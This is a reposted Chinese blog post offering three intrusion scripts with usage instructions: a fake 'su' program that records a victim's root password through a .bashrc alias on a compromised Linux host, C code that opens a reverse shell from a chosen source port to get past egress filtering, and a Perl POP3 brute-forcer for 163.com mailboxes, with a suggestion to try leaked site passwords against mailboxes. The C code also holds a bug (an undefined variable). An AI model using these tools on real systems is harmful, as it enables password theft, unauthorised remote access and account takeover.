iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >入侵渗透专用的python小脚本
  • 293
分享到

入侵渗透专用的python小脚本

脚本python 2023-01-31 07:01:15 293人浏览 薄情痞子

Python 官方文档:入门教程 => 点击学习

摘要

渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。 0×01 记录root密码小工具: root.py

渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。

0×01

记录root密码小工具:

root.py

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
import os, sys, getpass, time
 
current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log"              //密码获取后记录在这里
#Centos                
#fail_str = "su: incorrect passWord"
#ubuntu             
#fail_str = "su: Authentication failure"
#For linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样
fail_str = "su: incorrect password"
try:
    passwd = getpass.getpass(prompt='Password: ');
    file=open(logfile,'a')
    file.write("[%s]t%s"%(passwd, current_time))   //截取root密码
    file.write('n')
    file.close()
except:
    pass
time.sleep(1)
print fail_str                               //打印切换root失败提示

打印切换root失败提示

 

 

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,

Ping了下百度 可以ping通,

那真相只有一个

服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如

只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <sys/types.h>
#include <sys/Socket.h>
#include <netinet/in.h>
#include <netdb.h>
void error(char *msg)
{
        perror(msg);
        exit(0);
}
int main(int arGC, char *argv[])
{
        int sockfd, portno, lportno,n;
        struct sockaddr_in serv_addr;
        struct sockaddr_in client_addr;
        struct hostent *server;
        char buffer[256];
        if (argc < 3) {
                fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);
                exit(0);
        }                          //三个参数,目标主机,目标主机端口,本地源端口
        portno = atoi(argv[2]);
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0)
                error("ERROR opening socket");
 
 
        bzero((char *) &client_addr, sizeof(client_addr));
        lportno = atoi(argv[3]);
        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = INADDR_ANY;
        client_addr.sin_port = htons(lportno);         //设置源端口
        if (bind(sockfd, (struct sockaddr *) &client_addr,
                                sizeof(client_addr)) < 0)
                error("ERROR on binding");
 
        server = gethostbyname(argv[1]);
        if (server == NULL) {
                fprintf(stderr,"ERROR, no such host ");
                exit(0);
        }
        bzero((char *) &serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        bcopy((char *)server->h_addr,
                        (char *)&serv_addr.sin_addr.s_addr,
                        server->h_length);
        serv_addr.sin_port = htons(portno);
        if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)   //连接
                error("ERROR connecting");
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);                        //执行shell
 close(fd);
}

用法:

1 gcc client-port.c -o port 1 chmod +x port 1 ./port  你的IP 你的监听端口 本地的源端口

如 ./port Http://www.2cto.com  80  80

红黑联盟成功反弹shell 提权成功

0×03 邮箱爆破脚本

某个时候 需要爆破一批邮箱

Burp163.pl

 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/perl
use Net::POP3;
$email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
print $pop->banner();
$pop->quit;
$i=0;
open(fp1,"user.txt");     
@array1=<fp1>;
open(fp2,"pass.txt");
@array2=<fp2>;                     //从文件中获取邮箱用户名及密码
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u."@163.com";
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print "cracked with ".$u."-----".$p."n";
$i=$i+1;
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
$m=$pop->login($u,$p);              //尝试登录邮箱
if($m>0)
{
  print $u."------------".$p."----"."success"."n";
  $pop->quit;
}                                //成功登录
else
{
  print $u."------------".$p."----"."failed"."n";
  $pop->quit;                                     //登录失败
}
}
}
print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱


$email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如sude@163.com 去除后sude存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。

0×04

这三个程序仅供技术研究,如读者用于违法行为,本人概不负

--结束END--

本文标题: 入侵渗透专用的python小脚本

本文链接: https://www.lsjlt.com/news/190730.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 入侵渗透专用的python小脚本
    渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。 0×01 记录root密码小工具: root.py...
    99+
    2023-01-31
    脚本 python
  • 穿透PHP的XSS之盾:防范恶意脚本入侵
    ...
    99+
    2024-04-02
  • Python渗透测试入门之Scapy库的使用详解
    目录窃取邮箱身份凭证ARP投毒攻击pcap文件处理Scapy 是一个用来解析底层网络数据包的Python模块和交互式程序,该程序对底层包处理进行了抽象打包,使得对网络数据包的处理非常...
    99+
    2023-03-13
    Python 渗透测试Scapy库 Python Scapy库 Python Scapy Python渗透测试
  • 【python渗透测试】python在渗透测试中的利用(完全版,持续中出)
    跟着gpt学习python在渗透测试中的利用 🔥系列专栏:python渗透测试 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 &#...
    99+
    2023-10-12
    python 开发语言
  • Python渗透测试入门之Scapy库如何使用
    Scapy 是一个用来解析底层网络数据包的Python模块和交互式程序,该程序对底层包处理进行了抽象打包,使得对网络数据包的处理非常简便。该类库可以在在网络安全领域有非常广泛用例,可用于漏洞利用开发、数据泄露、网络监听、入侵检测和流量的分析...
    99+
    2023-05-14
    Python scapy
  • jmeter调用python脚本 入
    参考文章1; Jmeter 运行 Python 代码进行 AK/SK 认证 (使用 OS Process Sampler) 思路是;jmeter调用shell,用shell执行py   参考文章2:  Jmeter执行python脚本函数...
    99+
    2023-01-31
    脚本 jmeter python
  • python常用小脚本实例总结
    目录前言打印16进制字符串文件合并多线程下载图集多线程下载图片爬虫抓取信息爬虫多线程下载电影名称串口转tcp工具远程读卡器server端黑客rtcp反向链接调用c的动态库示例tcp的...
    99+
    2024-04-02
  • Python常用语句(初学入门)不要一直做脚本小子
    目录 一、判断语句 1、if语句 2、if-else语句 3、if-elif语句 4、if嵌套 二、循环语句 1、while循环 2、for循环 3、while嵌套 三、Python的其他语句 1、break语句 2、continue语句...
    99+
    2023-10-26
    python 开发语言 pycharm
  • 八个超级好用的Python自动化脚本(小结)
    目录1、自动化阅读网页新闻2、自动化数据探索3、自动发送多封邮件4、将 PDF 转换为音频文件5、从列表中播放随机音乐6、智能天气信息7、长网址变短网址8、清理下载文件夹每天你都可能...
    99+
    2024-04-02
  • 怎么用Python脚本实现魔塔小游戏
    这篇文章主要介绍“怎么用Python脚本实现魔塔小游戏”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“怎么用Python脚本实现魔塔小游戏”文章能帮助大家解决问题。开发工具Python版本: ...
    99+
    2023-06-29
  • python常用的备份脚本
    脚本介绍:1)备份源目录的文件2)目标文件以tar 和bzip2的方式压缩之后放在当前日期文件夹下4)备份文件以时间注释和执行脚本的用户命名3)主要用到了时间模块,系统模块,和getpass模块4)source 可以修改为想备份的目录,因为...
    99+
    2023-01-31
    脚本 备份 常用
  • 如何利用Python实现自动扫雷小脚本
    小编给大家分享一下如何利用Python实现自动扫雷小脚本,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!一、准备工作1.扫雷游戏我是win10,没有默认的扫雷,所以...
    99+
    2023-06-15
  • 怎么用python脚本实现购物车小程序
    这篇“怎么用python脚本实现购物车小程序”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“怎么用python脚本实现购物车小...
    99+
    2023-06-29
  • 实用的Python脚本有哪些
    本篇内容介绍了“实用的Python脚本有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!系统提示工具这个工具用到了win10toast库来...
    99+
    2023-06-30
  • 用Python编写自己的Shell API脚本:从入门到精通
    Python是一种广泛使用的编程语言,而Shell是一种命令行解释器。Python可以通过编写Shell API脚本来扩展其命令行功能。本文将介绍如何用Python编写自己的Shell API脚本,从入门到精通。 安装Python 在编...
    99+
    2023-10-16
    关键字 shell api
  • java调用python脚本引入第三方库失败的实现
    目录问题排查过程解决方法总结问题 使用Runtime调用python脚本一直没有结果,经排查是因为 cv2 的 import 问题 java代码: python代码: 在导入cv...
    99+
    2024-04-02
  • python脚本框架webpy入门安装及应用创建
    目录一:安装二:URL 处理三:类四:创建一个应用五:实例一:安装 pip install web.py 或者 http://xiazai.jb51.net/202111/y...
    99+
    2024-04-02
  • 用python写一个抢购的脚本
    好的,这是用 Python 写的一个抢购的脚本的示例: import requestsdef main(): # 在这里输入你的抢购商品的 URL url = "http://www.example.com/product/123" ...
    99+
    2023-10-05
    java 开发语言
  • 分享5个短小精悍的Python趣味脚本,适合小白上手!
    目录前言1.图片尺寸缩小2.pdf转txt文档3.猜数字游戏4.电池电量告警5.图片添加水印总结前言 新年开始,大家Python学起来,目前Python是最火的语言,已经连续多年占据...
    99+
    2024-04-02
  • 有哪些实用的Python和Shell脚本
    今天小编给大家分享一下有哪些实用的Python和Shell脚本的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。Python 脚...
    99+
    2023-07-06
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作